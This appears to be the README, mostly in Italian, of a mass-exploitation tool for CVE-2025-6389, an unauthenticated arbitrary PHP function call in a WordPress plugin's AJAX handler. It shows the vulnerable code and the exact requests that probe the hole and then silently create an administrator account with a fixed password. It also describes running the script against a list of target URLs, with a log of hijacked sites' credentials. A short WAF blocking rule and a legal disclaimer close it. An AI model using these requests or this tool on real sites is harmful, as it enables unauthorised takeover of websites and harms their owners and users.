// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← User-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args

    // Calling ANY PHP function with ANY arguments — zero validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Passo 1 — Sondaggio / Impronta digitale
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Risposta Attesa → array(1) { [0]=> string(4) "test" }
  ↓
Conferma: call_user_func() è raggiungibile e riflette l'output

──────────────────────────────────────────────────────────────────
Passo 2 — Creazione Account Amministratore
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Risultato → Nuovo account amministratore creato silenziosamente sul target
  ↓
Accesso completo al pannello di amministrazione WordPress ottenuto ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # Script exploit principale
├── list.txt                  # URL target — uno per riga
├── success_results.txt       # Generato automaticamente: target riusciti + credenziali
└── debug_responses/          # Generato automaticamente: risposte server grezze per debug
    └── <target>.resp.txt

https://target1.com
https://target2.com
http://target3.com

python CVE-2025-6389.py

Nome file target (predefinito list.txt): list.txt
Numero di thread (predefinito 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Stats                               │
│  Usage: Put targets in...    │  Total Targets:  150                 │
│  Threads: 20                 │  Processed:      87                  │
│  Password: xplpass           │  Successes:      12                  │
│  Success Log: success...     │  Failures:       75                  │
│  Debug Dir: debug_responses  │  Elapsed:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Recent Results                                                      │
│  Time     Target                              Result                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

debug_responses/
└── https___victim.com.resp.txt   ← Risposta server grezza per analisi

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

QUESTO STRUMENTO È FORNITO ESCLUSIVAMENTE PER SCOPI EDUCATIVI, TEST DI PENETRAZIONE
AUTORIZZATI E RICERCA SULLA SICUREZZA.

Scaricando, eseguendo o modificando questo script, accetti esplicitamente:

  • Hai l'autorizzazione ESPLICITA e SCRITTA dal proprietario di ogni
    sistema che testi. Nessuna eccezione.

  • Stai operando in un ambiente di laboratorio controllato o durante un
    impegno formalmente approvato.

  • NON distribuirai questo strumento contro alcun sistema, rete o
    infrastruttura per cui non hai il permesso legale di testare.

  • Nxploited e tutti i contributori NON si assumono ALCUNA responsabilità per
    qualsiasi uso non autorizzato, danno, perdita di dati, azione legale o
    procedimento penale derivante dall'uso di questo strumento.

L'uso non autorizzato di questo exploit costituisce reato penale ai sensi di:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU Directive 2013/40/EU on Attacks Against Information Systems
  — E tutte le equivalenti leggi nazionali e internazionali sul cybercrimine.

USALO RESPONSABILMENTE. HACKERA IN MODO ETICO. DIVULGA RESPONSABILMENTE.